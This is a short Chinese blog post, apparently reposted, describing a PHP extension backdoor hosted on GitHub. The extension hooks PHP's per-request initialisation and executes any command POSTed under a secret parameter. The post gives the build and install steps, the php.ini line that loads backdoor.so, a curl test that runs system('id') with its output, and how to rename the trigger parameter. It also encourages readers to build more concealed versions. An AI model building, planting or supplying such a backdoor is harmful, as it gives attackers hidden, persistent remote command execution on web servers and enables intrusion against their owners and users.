1. 程式人生 > >linux 編寫 php擴充套件 小實驗

linux 編寫 php擴充套件 小實驗

環境 Ubuntu 16.04, PHP 5.6

php擴充套件後門小實驗

git: https://github.com/Gekkoou/php-extension-backdoor

利用了 PHP SAPI 的生命週期, 當有請求的時候, 呼叫一次所有模組的請求初始化函式(PHP_RINIT_FUNCTION), 然後執行POST過來指定引數的命令. 當然這只是簡單的用法, 複雜的隱匿性高的可以去深入研究一下.


編譯安裝

# phpize && ./configure && make && sudo make install

修改配置檔案 php.ini, 增加 extension=backdoor.so

重啟PHP服務 srevice php-fpm restart


測試

# curl http://localhost/index.php --data "execute=system('id');"
uid=1002(www) gid=1002(www) groups=1002(www)

自定義POST引數

修改檔案 backdoor.c

char* secret_string = "execute";
# char* secret_string = "POST引數";